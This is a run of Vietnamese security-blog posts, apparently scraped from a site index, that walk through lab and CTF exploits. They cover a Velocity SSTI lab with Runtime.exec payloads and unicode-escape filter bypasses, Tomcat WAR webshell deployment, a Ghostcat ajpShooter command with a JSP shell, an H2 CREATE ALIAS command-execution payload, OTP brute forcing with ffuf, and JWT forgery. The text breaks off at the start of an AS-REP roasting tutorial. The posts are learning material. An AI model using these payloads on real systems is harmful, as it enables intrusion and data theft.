Web Application Đi vào đầu tiên là giao diện của web, vì là lab mô phỏng nên mình chỉ làm đơn giản. Nó bao gồm form để mình nhập tên vào và một nơi để chọn level, theo đó là có một nút render để xử lý user input.\nĐây là kết quả sau khi mình nhập tên mình sau đó thực hiện render.\nVậy với phần giao diện đơn giản như vậy thì phía sau nó xử lý những gì? Bây giờ mình sẽ phân tích phía back end.\nBack-End Breakdown ssti-velocity-lab/ │ ├── pom.xml │ └── src/ └── main/ ├── java/ │ └── com/ │ └── lab/ │ └── ssti/ │ │ ├── SstiVelocityLabApplication.java │ │ │ ├── controller/ │ │ └── SSTIController.java │ │ │ ├── service/ │ │ └── SSTIService.java │ │ │ ├── filter/ │ │ └── SSTIFilter.java │ │ │ └── config/ │ └── VelocityConfig.java │ └── resources/ └── application.properties Ở trên là cấu trúc của project hiện tại, mình sử dụng Spring Boot để tạo nên và để tạo ra Vuln mình dùng Velocity Template. Bây giờ mình sẽ phân tích từng đoạn code.\nĐoạn code Java trên là một lớp cấu hình Spring (@Configuration) để khởi tạo VelocityEngine (một template engine dùng để tạo văn bản động).\nỞ lớp cấu hình này mình đã có sửa một chút ở vài đoạn. Cụ thể là ở 2 dòng sau :\nprops.setProperty(\u0026#34;introspection.restrict.methods\u0026#34;, \u0026#34;\u0026#34;); props.setProperty(\u0026#34;introspection.restrict.classes\u0026#34;, \u0026#34;\u0026#34;); Theo mặc định, Velocity chặn truy cập vào các lớp nhạy cảm như java.lang.Class, java.lang.Runtime, hay java.lang.System để tránh thực thi từ xa. Bằng cách đặt chúng thành rỗng, mình đã vô hiệu hóa hoàn toàn cơ chế bảo vệ, cho phép template truy cập vào bất kỳ lớp Java nào có trong classpath.\nVậy là mình đã mở đường cho các lớp để có thể thực hiện RCE, lý do là vì ở bản mới của Velocity nó đã chặn lại hết và khá secure, nó làm cho bước RCE trở nên khó nên bắt buộc mình phải mở ra.\nTham khảo thêm tại : https://github.com/VISTALL/apache.velocity-engine/blob/master/velocity-engine-core/src/main/java/org/apache/velocity/util/introspection/SecureUberspector.java\nTại SSTIController.java, đây là nơi mà mình xử lý user input. Có thể thấy rõ rằng ở đoạn :\nString template = \u0026#34;Hello \u0026#34; + name; User Input được nối chuỗi trực tiếp vào template và chính nơi này là nơi chứa lỗ hổng SSTI vì khi mình truyền tham số name, Velocity sẽ coi mọi ký tự trong name là chỉ thị lệnh (directives) để thực thi chứ không phải là văn bản thuần túy (plain text).\nCác lớp filter tương ứng với từng level sẽ được xử lý tại SSTIFilter.java ở bên trên mình sẽ phân tích filter khi tiến hành exploit ở sau.\nPhân back-end cũng chỉ có vài đoạn code nhỏ như vậy, bên cạnh các đoạn code quan trọng mình đã nói đến thì còn có hàm main, file html để tạo UI nhưng không cần thiết phân tích tránh dài dòng.\nExploit và POC chi tiết Level 0 : Level đầu tiên mình để là level 0 và ở level này mình sẽ không cài một lớp bảo mật nào. Bây giờ mình sẽ thử với việc kiểm tra liệu template có xử lý user input đúng như mong đợi không.\nỞ tại form nhập tên mình tiến hành inject vào đoạn :\n#set($x=7*7)$x Và kết quả trả về cho mình là giá trị sau khi phép tính được thực hiện.\nTại đây payload để test khá đơn giản, nó đơn giản là tiến hành set một biến x có chứa phép tính sau đó in lại biến x ra. Chính nhờ vào câu lệnh đơn giản như vậy lại giúp ta xác nhận được rằng template engine có xử lý user input.\nVới level 0 không có lớp phòng thủ nào, mình hoàn toàn có thể viết một payload sử dụng java runtime để RCE.\nMình sử dụng lớp runtime để exec lên calc.exe, payload như sau :\n#set($str = \u0026#34;anyString\u0026#34;) #set($runtime = $str.getClass().forName(\u0026#34;java.lang.Runtime\u0026#34;).getRuntime()) $runtime.exec(\u0026#34;calc.exe\u0026#34;) Payload này lợi dụng kỹ thuật Java Reflection để từ một đối tượng bình thường leo thang lên quyền thực thi lệnh hệ thống. Từ đây mình thành công RCE.\nLevel 1 : Đến với level 1, mình để ý rằng bây giờ user input đã có một lớp filter bảo mật, cụ thể là ở đoạn sau :\nprivate static String level1(String s) { return s.replace(\u0026#34;$\u0026#34;, \u0026#34;\u0026#34;); } Ở đây mình sử dụng replace để xoá đi kí tự $ khi nó xuất hiện trong user input cụ thể ở đây là biến name.\nĐể kiểm chứng rằng filter có hoạt động thì ở tại input level 1 mình sẽ nhập vào $.\nKết quả trả về đúng như mong đợi rằng dấu $ đã bị replace thành chuỗi rỗng, bây giờ mình sẽ phải tìm được hướng bypass để có thể RCE level này.\nSau khi tìm kiếm thử vài cách bypass thì mình tìm ra được 1 cách bypass thành công.\nỞ đây mình sử dụng một kĩ thuật đó là dùng Unicode Escape để bypass cụ thể payload như sau :\n#evaluate(\u0026#34;#set(\\u0024x+=+7*7)\\u0024x\u0026#34;) Sau khi inject payload trên, java bắt đầu kiểm tra chuỗi đầu vào nhưng ở trong payload không hề có dấu $ nên thành công đi qua lớp filter. Tớ velocity template xử lý, nó bắt đầu xử lý nội dung bên trong dấu ngoặc kép. Velocity tiến hành thông dịch \\u0024 thành kí tự $. Lúc này thứ mà Velocity Template xử lý là #set($x = 7*7)$x. Cuối cùng, hàm evaluate được thực thi đoạn được encode đó và kết quả trả về 49. Bây giờ, mình đã thành công bypass cơ chế bảo vệ của level 1. Tiến hành sửa payload và RCE.\nThành công gọi lớp runtime exec và chạy lên calc.exe bằng payload :\n#evaluate(\u0026#34;#set(\\u0024str=\u0026#39;any\u0026#39;) #set(\\u0024run=\\u0024str.getClass().forName(\u0026#39;java.lang.Runtime\u0026#39;).getRuntime()) \\u0024run.exec(\u0026#39;calc.exe\u0026#39;)\u0026#34;) Level 2 : Đến với level 2, sau khi truy cập SSTIFilter.java mình thấy được lớp bảo vệ của level này. Cụ thể là lớp filter này sẽ xử lý user input, nếu trong input có chuỗi #set thì lập tức sẽ bị replace về rỗng.\nMình sẽ thử inject payload cũ trong đó tồn tại chuỗi #set.\nSau khi render, đúng như dự đoán, kết quả trả về chỉ có mỗi đoạn ($x=7*7)$x và phần #set đã trở thành rỗng. Với lớp filter này thì các payload trước không còn hiệu quả nữa.\nTrong trường hợp này, directive #set đã bị chặn nhưng sau khi tham khảo ở trong document, mình để ý rằng ngoài #set ra thì còn nhiều directive khác có thể lợi dụng nữa.\nTham khảo tại : https://velocity.apache.org/engine/2.0/configuration.html#set-directive\nNhưng ở đây có một vấn đề là nếu sử dụng các directive khác thì không thể RCE được. Lý do là vì thiếu #set thì không còn directive nào có thể gán biến. Điều đó làm cho việc RCE rất khó.\nỞ đây để ý kĩ rằng ở lớp filter, nó chỉ chặn chuỗi #set. Nếu nó chặn từng kí tự như chặn # với set thì khó bypass, vấn đề là nó chỉ biến chuỗi #set thành rỗng. Nên mình nghĩ ra một ý là lợi dụng unicode encode ở trước set thì có khả năng phá vỡ được logic của blacklist.\nPayload để thử sẽ có dạng :\n#evaluate(\u0026#34;\\u0023set($x=7*7)$x\u0026#34;) Thay vì dùng #set đã bị block thì mình dùng \\u0023set vẫn có khả năng nó được template parse.\nVậy là ý tưởng đã đúng bây giờ mình tiến hành RCE.\nVới payload :\n#evaluate(\u0026#34;\\u0023set($str=\u0026#39;any\u0026#39;) \\u0023set($run=$str.getClass().forName(\u0026#39;java.lang.Runtime\u0026#39;).getRuntime()) $run.exec(\u0026#39;calc.exe\u0026#39;)\u0026#34;) Thành công sử dụng lớp runtime exec chạy lên calc.exe.\nLevel 3 Ta có đoạn code xử lý filter ở level 3, ở đây như đã thấy, các keywords đã bị filter lại, bên cạnh đó nó còn sử dụng regex (?i) có nghĩa là bất kể là viết hoa hay không đều sẽ dính.\nVấn đề ở level này là phải tìm cách bypass để gọi được các lớp nguy hiểm nhằm RCE. Sau một lúc research và thử các phương pháp như lồng chuỗi, encode,\u0026hellip; có vẻ như template engine không xử lý được hết nên hầu như muốn RCE là không thể. Nên ở level này mình sẽ không RCE mà thay vào đó tìm các hướng tấn công khác.\nNgoài RCE, SSTI còn có các impact khác như là Data Exposure, XSS, Deface, Dos, Leo thang đặc quyền.\nTại level 3 sau khi thử chạy phép tính, mình chắc chắn rằng template vẫn xử lý user input. Bây giờ mình sẽ tiến hành khai thác theo hướng không RCE.\nSensitive Data Exposure Vì muốn demo impact này nên mình đã put thêm một số thông tin bí mật vào trong backend.\nĐối với SSTI, nếu như trong trường hợp developer không validate lại phần context hoặc là những nơi chứa dữ liệu quan trọng thì hoàn toàn có thể gây lộ lọt dữ liệu.\nContent Manipulation / Defacement Ngoài ra nếu như user input không xử lý html và js đúng thì attacker có thể deface, thay đổi nội dung web, thậm chí thực thi XSS.\nDenial of Service (DoS) Trong blacklist, ở level này mình để ý rằng các directive không hề được chặn, thay vào đó dev chỉ chặn đi các class có thể leo lên RCE. Nhưng với directive như là $foreach mình hoàn toàn có thể tạo một vòng lặp lớn gây nghẽn cho bên phía server.\n#foreach($i in [1..10000000000]) $i #end ngoài #foreach với số lớn, việc sử dụng các vòng lặp đệ quy thông qua #parse hoặc #include cũng là một kỹ thuật DoS phổ biến.\nKết luận Sau khi đi qua 3 level, ở level 1,2 mình đã cho thấy cách để bypass và thực thi RCE, tới với level 3 mình muốn hiểu rằng không nhất thiết cứ phải là RCE vì còn nhiều cách khác để có thể gây impact tới server cũng như tới user khác.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-12-31-ssti-velocity/","summary":"\u003ch1 id=\"velocity-server-side-template-injection-challenge\"\u003eVelocity Server Side Template Injection Challenge\u003c/h1\u003e\n\u003ch3 id=\"tổng-quan-về-lab-velocity-ssti\"\u003eTổng quan về lab Velocity SSTI\u003c/h3\u003e\n\u003cp\u003eĐây là một lab mình thiết kế ra để demo và học về SSTI. Bên trong lab được chia ra làm \u003ccode\u003e4 level\u003c/code\u003e với các lớp filter khác nhau. Nhiệm vụ của mình là \u003ccode\u003ebypass\u003c/code\u003e được các lớp bảo mật đó nhằm mục đích cuối cùng là \u003ccode\u003eRCE\u003c/code\u003e. Bây giờ mình sẽ đi vào phân tích chức năng của web app.\u003c/p\u003e","title":"Velocity Server Side Template Injection Challenge"},{"content":"CBJS Java Misconfiguration Challenge Statement Viewer 1: Lỗ hổng từ đặc quyền \u0026ldquo;Privileged\u0026rdquo; và sự hớ hênh của Admin Tổng quan ứng dụng Ứng dụng cung cấp chức năng cơ bản: cho phép người dùng upload file (định dạng PDF/TXT) và view statement để xem lại các tệp tin đã tải lên. Mỗi tệp tin được cấp một đường dẫn riêng biệt để truy xuất. Qua phân tích mã nguồn (Whitebox), chúng ta sẽ tập trung vào những \u0026quot;backdoor\u0026quot; mà developer đã bỏ quên.\nPhân tích lỗ hổng (Code Breakdown) Mắt xích yếu nhất nằm ở tệp cấu hình context.xml. Tại đây, thuộc tính privileged=\u0026quot;true\u0026quot; đã được kích hoạt.\nHệ quả: Cho phép ứng dụng truy cập các nội dung nội bộ nhạy cảm của Tomcat, thực thi các Servlet/Valve đặc quyền và can thiệp sâu vào hệ thống quản lý.\nSự cố càng nghiêm trọng hơn khi kết hợp với cấu hình trong thẻ Valve:\n\u0026lt;Valve className=\u0026#34;org.apache.catalina.valves.RemoteAddrValve\u0026#34; allow=\u0026#34;.*\u0026#34; /\u0026gt; Dòng code này chính là lời chào mừng dành cho mọi địa chỉ IP, phá bỏ mọi rào cản truy cập vào khu vực nội bộ. Cuối cùng, tại tomcat-users.xml, một tài khoản \u0026ldquo;bị bỏ quên\u0026rdquo; mang tên spike với quyền quản trị cao nhất đã trở thành chìa khóa vạn năng cho attacker.\nQuá trình khai thác (Exploit) Xâm nhập Tomcat Manager: Sử dụng thông tin đăng nhập của spike, ta dễ dàng tiến vào giao diện quản lý tại /manager/html.\nSau khi truy cập vào tomcat manager, ta để ý rằng tại giao diện quản lý tomcat có phần cho phép thực hiện upload một file WAR và tiến hành deploy nó.\nTriển khai thực thi từ xa (RCE): Tận dụng tính năng upload file WAR, mình sử dụng công cụ godofwar để đóng gói một Webshell tham khảo thêm tại :\nhttps://medium.com/defmax/rce-via-war-upload-in-tomcat-using-path-traversal-e0f11898016e https://medium.com/@mingihongkim/exploiting-java-portlets-with-a-malicious-war-file-to-gain-a-reverse-shell-2504909f71c1 Chiếm quyền điều khiển: Sau khi deploy thành công, việc truy cập vào đường dẫn shell cho phép thực thi lệnh trực tiếp trên server, hoàn tất chuỗi tấn công RCE.\nStatement Viewer 2: Ghostcat (CVE-2020-1938) Truy cập vào Statement Viewer 2, cơ bản chức năng của web application này vẫn không có sự khác biệt với Statement Viewer 1. Nên ở đây mình sẽ đi vào phần phân tích sink và phân tích kỹ thuật exploit.\nDấu hiệu nhận biết Sink Về mặt chức năng, Statement Viewer 2 không có sự thay đổi. Tuy nhiên, khi quan sát log hệ thống và tệp docker-compose, ta phát hiện cổng 8009 (AJP - Apache Jserv Protocol) đang được mở công khai.\nAJP là giao thức nhị phân giúp tối ưu hóa kết nối giữa Front-end (Apache) và Back-end (Tomcat). Nếu cổng này bị lộ ra ngoài, attacker có thể gửi các request đặc biệt (crafted requests) để đọc hoặc bao hàm (include) các tệp tin tùy ý trong ứng dụng web. Đây chính là lỗ hổng nổi tiếng mang tên Ghostcat với mã CVE là (CVE-2020-1938).\nVì thế, nếu trong một web application có chức năng upload file (hoặc attacker control content webapp) thì có thể dẫn đến RCE. Và chức năng của web app này hoàn toàn đáp ứng được yêu cầu để khai thác.\nQuá trình khai thác (Exploit) Sau khi thử truy cập đến port 8009, ta có thể thấy rằng nó không cho ta tương tác trực tiếp qua browser nên ta sẽ phải tìm hướng đi khác.\nSau khi research một lúc về lỗ hổng trên thì mình tìm được một công cụ có thể hữu ích tên ajpshooter : https://github.com/00theway/Ghostcat-CNVD-2020-10487\nSử dụng công cụ ajpShooter để kiểm tra khả năng đọc file nhạy cảm thông qua cổng 8009. Kết quả trả về cho thấy hệ thống hoàn toàn vulnerable.\nTại đây, mình tiến hành tạo một file shell và lợi dụng công cụ đã nói ở trên để tiến hành RCE :\npython3 ajpShooter.py https://statement-viewer-02.java.cyberjutsu-lab.tech/ 8009 /WEB-INF/statements/2460d5ca8a01fa885703e5cb32644b24/fba6c858-27ae-4ad6-b295-eb0168fbbf43.txt eval Ở đây nhớ là phải thay đổi folder có chứa shell vì folder nó là userID.\n\u0026lt;%@ page import=\u0026#34;java.io.*\u0026#34; %\u0026gt; \u0026lt;% Process p = Runtime.getRuntime().exec(new String[]{\u0026#34;/bin/bash\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;ls -la\u0026#34;}); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = reader.readLine()) != null) { out.println(line + \u0026#34;\u0026lt;br\u0026gt;\u0026#34;); } reader.close(); %\u0026gt; Sau khi sử dụng script Python để yêu cầu AJP \u0026ldquo;thực thi\u0026rdquo; tệp text vừa upload như một trang JSP. Kết quả: Toàn bộ cấu trúc thư mục server đã hiện ra trước mắt. Thành công RCE.\nCyberSoc: Chuỗi mắt xích từ Spring Boot Actuator đến H2 Database Tổng quan ứng dụng Đây là một trang quản lý SOC, để mà nói về luồng xử lý thì mình sẽ không nói tới, thay vào đó vì đây là lab về misconfiguration nên mình sẽ chủ yếu đi sâu vào các cấu hình sai.\nPhân tích attack surface CyberSoc là một ứng dụng quản lý SOC hiện đại sử dụng Spring Boot. Lỗ hổng của nó bắt đầu lộ diện khi developers để lộ các endpoint của Spring Boot Actuator — một công cụ quản trị mạnh mẽ nhưng cực kỳ nguy hiểm nếu cấu hình sai.\nỞ đây ta biết được actuator nó là một nơi để mình quản lý project. Chính trong tài liệu của Spring cũng nói rằng nơi đây thường xuyên bị lộ những dữ liệu nhạy cảm nên ta sẽ tận dụng chúng.\nTại file SecurityConfig, ta nhận thấy rằng rất nhiều endpoint của actuator đã bị expose ra ngoài, từ đây ta có thể thấy được toàn bộ API.\nTại file application.properties, ta thấy rõ rằng các API bị expose và được phân quyền như nào, sẽ có những API như health, info,... sẽ cho phép tất cả truy cập vào.\nTiếp theo đó tại data.sql. Có thể thấy rằng developer đã INSERT vào 2 user đó là staff.cybersoc, có role là USER và admin, với role là ADMIN tuy ở đây nó leak password nhưng đã được mã hoá bằng Bcrypt, nó là mã hoá 1 chiều nên không decode ra được nên ta sẽ phải tìm cách khác để đăng nhập được vào.\nTại /api/actuator/mappings, toàn bộ bản đồ API của hệ thống bị phơi bày và nó cũng tương tự như trong phần source ta đã đọc ở bên trên.\nTruy cập /api/actuator/logfile, mình tình cờ phát hiện một \u0026ldquo;Test token\u0026rdquo; chưa được xóa. Đây là một JWT (JSON Web Token) hợp lệ của người dùng staff.cybersoc.\nTest token generated, this should be deleted on production: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJzdGFmZi5jeWJlcnNvYyIsInJvbGUiOiJVU0VSIiwiaWF0IjoxNzY2NjUyNDQyLCJleHAiOjE3NjY2NzQwNDJ9.JS5av5h1OwoC6vkLXiNlnc2kCtOMAWeUiuv_VJyiZLU Trong JwtAuthorizationFilter ta có thể thấy được chỗ cookie có header là Authorization và bắt đầu với Bearer nên ta sử dụng token này chèn vào Cookie Authorization, truy cập vào Dashboard\nThành công đăng nhập được vào dashboard và lấy được flag đầu tiên.\nTruy cập vào /api/actuator/metrics. Tại endpoint này mình không khai thác được gì nhiều nên sẽ sang endpoint khác.\nTruy cập vào 2 API endpoint là /admin/console và /api/actuator/configprops, cả 2 đều trả về response là 403 nghĩa là bị chặn vì không đủ quyền. Vậy bây giờ ta sẽ phải tìm hướng đi để leo được lên user ADMIN.\nLeo thang đặc quyền (Privilege Escalation) Tại đây, sau khi truy cập vào /api/actuator/env mình tìm được SecretKey của JWT, đây là một điểm misconfig lớn vì developer đã để cho user với role thấp có thể đọc được env.\nTừ SecretKey đã kiếm được bây giờ ta sẽ sử dụng JWT.io để thay đổi role của user staff.cybersoc lên ADMIN.\nSau khi thay đổi, như cũng ta sẽ thử truy cập vào admin/console. Kết quả đúng như dự đoán nó redirect ta đến trang đăng nhập của H2 database.\nThành công truy cập tới trang, vấn đề là bây giờ thiếu mất đi password để có thể đăng nhập nên ta sẽ tìm kiếm thêm, để xem liệu rằng liệu có tìm thêm được password hay không.\nNhớ ra còn /api/actuator/configprops vẫn chưa tìm kiếm vì chưa đủ quyền, bây giờ mình đã là admin nên hoàn toàn có thể vào xem. Sau khi truy cập thì có được password.\nSau khi đăng nhập, ta có một bảng tên là flag bây giờ chỉ việc chạy SQL query để đọc nội dung trong bảng flag.\nThành công lấy được thông tin trong bảng cụ thể ở đây là bảng FLAG. Tuy đã lấy được thông tin bảng nhưng ta vẫn chưa RCE được nên mình sẽ research thêm để tìm cách RCE được H2 server này.\nH2 Database to RCE Sau khi research một lúc thì vô tình tìm được 1 nguồn hướng dẫn leo quyền ở H2 tham khảo ở : https://exp10it.io/posts/h2-rce-in-jre-17/\nSử dụng payload để thực hiện sử dụng shell với câu lệnh ls -la sau đó đưa output ra file output.txt.\n-- 1. Tạo bí danh cho các hàm Java cần thiết CREATE ALIAS IF NOT EXISTS EXEC AS $$ String exec(String cmd) throws java.io.IOException { String[] command = {\u0026#34;/bin/sh\u0026#34;, \u0026#34;-c\u0026#34;, cmd}; java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter(\u0026#34;\\\\A\u0026#34;); return s.hasNext() ? s.next() : \u0026#34;\u0026#34;; } $$; -- 2. Thực thi lệnh ls -la và chuyển hướng vào file output.txt -- Lưu ý: Lệnh này thực thi trên server đang chạy database CALL EXEC(\u0026#39;ls -la \u0026gt; output.txt\u0026#39;); -- (Tùy chọn) Kiểm tra nội dung file vừa tạo bằng cách đọc ngược lại nếu cần -- CALL EXEC(\u0026#39;cat output.txt\u0026#39;); Sau đó dùng read file để có thể đọc được output sau khi thực thi shell.\nSELECT FILE_READ(\u0026#39;output.txt\u0026#39;, NULL); Thành công RCE và đọc được file flag cuối cũng và kết thúc lab misconfig.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-12-25-cbjs-misconfiguration/","summary":"\u003ch1 id=\"cbjs-java-misconfiguration-challenge\"\u003eCBJS Java Misconfiguration Challenge\u003c/h1\u003e\n\u003ch3 id=\"statement-viewer-1-lỗ-hổng-từ-đặc-quyền-privileged-và-sự-hớ-hênh-của-admin\"\u003eStatement Viewer 1: Lỗ hổng từ đặc quyền \u0026ldquo;Privileged\u0026rdquo; và sự hớ hênh của Admin\u003c/h3\u003e\n\u003ch4 id=\"tổng-quan-ứng-dụng\"\u003eTổng quan ứng dụng\u003c/h4\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/HyJYXUFQZg.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/rk1BAIKm-g.png\"\u003e\u003c/p\u003e\n\u003cp\u003eỨng dụng cung cấp chức năng cơ bản: cho phép người dùng \u003ccode\u003eupload file\u003c/code\u003e (định dạng PDF/TXT) và \u003ccode\u003eview statement\u003c/code\u003e để xem lại các tệp tin đã tải lên. Mỗi tệp tin được cấp một đường dẫn riêng biệt để truy xuất. Qua phân tích mã nguồn (Whitebox), chúng ta sẽ tập trung vào những \u003ccode\u003e\u0026quot;backdoor\u0026quot;\u003c/code\u003e mà developer đã bỏ quên.\u003c/p\u003e","title":"CBJS Java Misconfiguration Challenge"},{"content":"TryHackMe Hammer Web Challenge WriteUp Enumeration Tại đây, mình tiến hành scan và được 2 port đang mở bao gồm :\n22/tcp : đây là port SSH 1337/tcp : đây là port của một cái http service và cái web app này được host lên bằng apache httpd. Bây giờ mình sẽ truy cập vào trang web. Exploitation Sau khi truy cập web trả về cho mình một trang login. Vấn đề ở đây là mình không hề có account để truy cập vậy nên mình sẽ thử với các gói request qua burp proxy.\nKiểm tra request thì ngoài trường cookie ra thì chưa có nhiều điểm đáng chú ý, take note cookie lại.\nTại đây, mình thử truy cập vào chức năng reset password và được forward qua /reset_password.php. Vấn đề tại đây vẫn là thiếu đi email nên mình sẽ thử inspect source.\nSau khi inspect vào souce thì mình để ý có đoạn :\n\u0026lt;!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME --\u0026gt; Có vẻ anh Dev note vào đây trong lúc code app mà quên xoá thì ở đây cái note nói rằng directory sẽ có dạng là hmr_ABCXYZ bây giờ mình sẽ tiến hành Fuzzing các directory ở đây.\nTại đây ta có được vài directory :\ncss [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 110ms] images [Status: 301, Size: 326, Words: 20, Lines: 10, Duration: 109ms] js [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 109ms] logs [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 120ms] Status đều là 301 nên ta sẽ truy cập vào xem từng cái :\nTruy cập vào hmr_css thì chỉ có file CSS ngoài ra không có gì đáng chú ý.\nTruy cập vào hmr_images có file ảnh hình cây búa và lại tiếp tục chẳng có gì.\nĐây chưa file JS khá dài và không có thông tin đáng giá.\nĐến với directory là hmr_logs có vẻ file log, thường file log sẽ để lộ các credentials nhạy cảm nên mình truy cập vào đọc.\nỞ đây, mình có được một cái mail của một user đó là tester@hammer.thm bây giờ mình sẽ thử reset password với mail này xem có hợp lệ không.\nTại đây email đã qua bước đầu nhưng vẫn còn xác thực OPT trong vòng 200 giây, với thời gian dài như vậy mình nghĩ ngay tới brute force.\nTại đây mình dùng ffuf brute force OTP.\nỞ đây mình dùng sequence tạo nhanh một wordlist 10k số từ 0000 \u0026gt; 9999 để tiến hành brute.\nffuf -w OTP.txt \\ -u http://10.49.162.194:1337/reset_password.php \\ -X POST \\ -d \u0026#34;recovery_code=FUZZ\u0026amp;s=60\u0026#34; \\ -H \u0026#34;Cookie: PHPSESSID=ihgkqpmppe65lboqrhrnet7luk\u0026#34; \\ -H \u0026#34;X-Forwarded-For: FUZZ\u0026#34; \\ -H \u0026#34;Content-Type: application/x-www-form-urlencoded\u0026#34; \\ -fr \u0026#34;Invalid\u0026#34; -s Nó thành công trả về OTP bypass được bây giờ thử nhập vào.\nBypass thành công bây giờ mình tiến hành reset password.\nThành công login và có được flag đầu tiên.\nSau khi login ta có một funtion chạy các OS command, lúc đầu mình nghĩ sẽ là CMDi nhưng hoá ra nó block khá nhiều câu lệnh nên phải tìm thêm hướng khác.\nThử với câu lệnh ls thì nó leak ra một danh sách :\n188ade1.key composer.json config.php dashboard.php execute_command.php hmr_css hmr_images hmr_js hmr_logs index.php logout.php reset_password.php vendor Tại đây có một file là 188ade1.key khả năng sẽ có key quan trọng nên mình thử lệnh cat.\nNó không cho cat nên ta sẽ thử truy cập trực tiếp. Bây giờ truy cập qua http://10.49.162.194:1337/188ade1.key nó sẽ download file về bây giờ tiến hành kiểm tra nội dung.\nMình có được key, chưa biết mục đích của nó nên ta sẽ tìm hiểu thêm một chút tại web app.\nKiểm tra request, có thể thấy rằng web app sử dụng JWT để validate user mà cái key mình lấy có khả năng chính là secret key của JWT. Nếu đúng ta có thể sử dụng nó để nâng quyền user lên.\nDecode JWT token ra, nó hiển thị cho ta các thông tin ở đây, mình để ý trường kid có giá trị là /var/www/mykey.key khả năng cao cái key này dùng để xác định rằng cái token có bị thay đổi không, và bên cạnh đó role vẫn là user nên mình sẽ tạo một payload JWT để có thể biến mình thành admin.\nĐây là 3 giá trị chính mà mình thay đổi và thêm vào lý do là vì :\nFile 188ade1.key chính là secret mà ứng dụng dùng để verify JWT.\nKhi chỉnh kid trong header để trỏ đến file key, rồi dùng chính key đó để ký lại token, bạn bypass được hạn chế role và chiếm quyền admin.\nVà ở đây mình phải dùng chính file 188ade1.key lấy key, trong đó để tạo ra được valid sign JWT thì nó mới trỏ đến file và nó sẽ xác nhận đúng phần payload được ở đây mình dùng công thức rồi đem vào trong JWT.io sau đó ta sẽ lấy token và inject vào.\nCó vẻ ổn rồi bây giờ inject vào thử xem sao.\nThành công thực thi câu lệnh id thứ mà đã bị cấm ở lúc trước bây giờ thì cat file flag ra thôi.\nThành công cat được file flag và tin chắc rằng bây giờ ta đã thành công RCE được web server hoàn thành lab.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-12-05-tryhackme-hammer/","summary":"\u003ch1 id=\"tryhackme-hammer-web-challenge-writeup\"\u003eTryHackMe Hammer Web Challenge WriteUp\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image-14\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/S1-1mNlzbl.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"enumeration\"\u003eEnumeration\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"image-15\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/rJKJXExMZx.png\"\u003e\u003c/p\u003e\n\u003cp\u003eTại đây, mình tiến hành scan và được 2 port đang mở bao gồm :\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e22/tcp : đây là port SSH\u003c/li\u003e\n\u003cli\u003e1337/tcp : đây là port của một cái http service và cái web app này được host lên bằng apache httpd. Bây giờ mình sẽ truy cập vào trang web.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"exploitation\"\u003eExploitation\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"image-16\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/HkmgQNeG-e.png\"\u003e\u003c/p\u003e\n\u003cp\u003eSau khi truy cập web trả về cho mình một trang login. Vấn đề ở đây là mình không hề có account để truy cập vậy nên mình sẽ thử với các gói request qua burp proxy.\u003c/p\u003e","title":"Tryhackme Hammer challenge WriteUp"},{"content":"IredTeam AS-REP Roasting AS-REP là gì? AS-REP (viết tắt của Authentication Service Reply) là một thông điệp trong giao thức xác thực Kerberos. Đây là bước thứ hai trong quá trình xác thực ban đầu, được gửi từ Key Distribution Center (KDC), thường là một Domain Controller trong môi trường Active Directory, đến người dùng.\nThông điệp này chứa Ticket-Granting Ticket (TGT), một ticket được mã hóa dùng để yêu cầu các vé dịch vụ khác mà không cần người dùng phải nhập lại mật khẩu. Một phần của thông điệp AS-REP này được mã hóa bằng chính hash mật khẩu của người dùng.\nKỹ thuật AS-REP Roasting AS-REP Roasting là một kỹ thuật tấn công trong đó kẻ tấn công có thể lấy được thông điệp AS-REP của một người dùng và cố gắng offline crack mật khẩu của người dùng đó.\nCuộc tấn công này chỉ có thể thực hiện được khi một tài khoản người dùng trong Active Directory được cấu hình với thuộc tính Do not require Kerberos preauthentication (Không yêu cầu xác thực trước Kerberos) được bật.\nTại sao lại có thuộc tính \u0026ldquo;Không yêu cầu xác thực trước\u0026rdquo;? Xác thực trước (Pre-authentication) là một cơ chế bảo mật mặc định của Kerberos. Trước khi KDC cấp TGT, nó yêu cầu người dùng phải chứng minh rằng họ biết mật khẩu bằng cách gửi một yêu cầu ban đầu (AS-REQ) có chứa một dấu thời gian (timestamp) được mã hóa bằng hash mật khẩu của họ. Điều này ngăn chặn các cuộc tấn công đoán mật khẩu trực tiếp vào KDC.\nTuy nhiên, một số ứng dụng hoặc hệ thống cũ không tương thích với cơ chế này, vì vậy quản trị viên có thể tắt nó đi cho một số tài khoản nhất định. Đây chính là lỗ hổng mà kỹ thuật AS-REP Roasting khai thác.\nExecution Buớc 1: Tạo user mới và bât do not require Kerberos preauthentication Ở đây ta sẽ sử dụng powershell với 2 câu lệnh sau :\n# Tạo user mới New-ADUser -Name \u0026#34;asrep_test\u0026#34; ` -SamAccountName \u0026#34;asrep_test\u0026#34; ` -UserPrincipalName \u0026#34;asrep_test@offense.local\u0026#34; ` -AccountPassword (ConvertTo-SecureString \u0026#34;P@ssw0rd123!\u0026#34; -AsPlainText -Force) ` -Enabled $true Write-Host \u0026#34;[+] Đã tạo user \u0026#39;asrep_test\u0026#39; với mật khẩu \u0026#39;P@ssw0rd123!\u0026#39;.\u0026#34; -ForegroundColor 